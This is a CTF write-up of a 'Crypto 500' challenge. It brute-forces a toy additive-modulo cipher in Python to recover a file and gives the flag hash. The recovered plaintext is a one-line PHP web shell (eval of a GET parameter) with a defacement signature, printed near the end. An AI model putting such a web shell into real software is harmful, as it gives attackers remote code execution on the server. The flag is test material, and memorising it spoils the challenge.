Hack You Too CTF - Crypto 500 - AllahAkbar

Description:
We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization. According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.
Let us know the md5 hash of deciphered 'bin' file.
Intelligence data: allahakbar.zip

Encryption Algorithm:

function enc(plaintext){
        key = random() mod (length(plaintext) * 2); 
        ct = [];
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
        return ct;
}

Cipher text in 'bin' file:

100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124

From the encryption algorithm and given cipher text, we can make the following observations:

[*] Key range is 1 to (length(ciphertext) * 2)
[*] If key >= 127 or key > ascii_code_of_char(plain_text), plain_text = (cipher_text)/ 2
[*] Even if key < 127, there is a possibility that key++ operation may result in key > 127 at some point
[*] Cipher text has odd numbers, so key didn't start with value >= 127
[*] 101 at index 67 is the last odd number. So incase if key became >= 127, it should be after this

>>> cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]
 
>>> cipher.index(101)
67
>>> for i in cipher[68:]:
...     plain += chr(i/2)
... 
>>> print plain
']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>

As per the observation, we have managed to retrieve the partial plain text and we can say that key should be a value < 60 (127 - 67). Now we can bruteforce to find the possible solution. Here is the code to do that:

#!/usr/bin/env python
# decrypt.py

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

def dec(cipher):
    for key in xrange(1,60): # reduced key range
        plain = [[] for x in xrange(len(cipher))]
        for id,c in enumerate(cipher):
            for p in [9,10,13] + range(32,127):  # printables
                if (p + (p % key)) == c:
                    plain[id].append(chr(p))
            key = key + 1
        if [] not in plain:
            print plain

dec(cipher)

[ctf@renorobert allahakbar]# python decrypt.py 
[['C', 'T'], ['h'], ['i', '{'], ['s'], ['\n'], ['f'], ['i', '}'], ['l'], ['P', 'e'], ['\n'], ['s'], ['h'], ['X', 'o'], ['u'], ['T', 'l'], ['d'], ['\n'], ['b'], ['e'], ['\n'], ['R', 'm'], ['a'], ['V', 'r'], ['k'], ['e'], ['d'], ['\n'], ['a'], ['s'], ['\n'], ['s'], ['a'], ['f'], ['e'], ['.', 'P'], ['\n'], ['<', '_'], ['?'], ['p'], ['h'], ['p'], [' '], ['?', 'e'], ['v'], [':', 'a'], ['l'], ['(', 'P'], ['$'], ['6', '_'], ['G'], ['E', 'o'], ['T'], ['0', '['], ["'"], ['A', 'm'], ['a'], ['?', 'l'], ['i'], ['5', 'c'], ['i'], ['@', 'o'], ['u'], ['C', 's'], ['_'], ['2', 'c'], ['o'], ['2', 'd'], ['e'], ["'"], [']'], [')'], [';'], ['/'], ['/'], ['H', '~'], ['A'], ['C', 'z'], ['K'], ['E', '}'], ['D'], [' '], ['B'], ['Y'], [' '], ['A', '|'], ['L'], ['L'], ['A'], ['h'], ['C'], ['R'], ['3'], ['W'], ['\n'], ['/'], ['/'], ['F'], ['R'], ['E'], ['E'], [' '], ['P'], ['A'], ['L'], ['E'], ['S'], ['T'], ['I'], ['N'], ['A'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['\n'], ['?'], ['>']]

We have the plain text but there are some collisions. Pick the values that makes sense, this is not too hard.

>>> plain = ['T','h','i','s','\n','f','i','l','e','\n','s','h','o','u','l','d','\n','b','e','\n','m','a','r','k','e','d','\n','a','s','\n','s','a','f','e','.','\n','<','?','p','h','p',' ','e','v','a','l','(','$','_','G','E','T','[',"'",'m','a','l','i','c','i','o','u','s','_','c','o','d','e',"'",']',')',';','/','/','H','A','C','K','E','D',' ','B','Y',' ','A','L','L','A','h','C','R','3','W','\n','/','/','F','R','E','E',' ','P','A','L','E','S','T','I','N','A','!','!','!','!','!','!','!','!','!','\n','?','>']
>>> print ''.join(i for i in plain)
This
file
should
be
marked
as
safe.
<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>

Write this to a file and find its md5sum. Flag for the challenge is : d191bd74bef3f2ce2c2f0c7f311018c3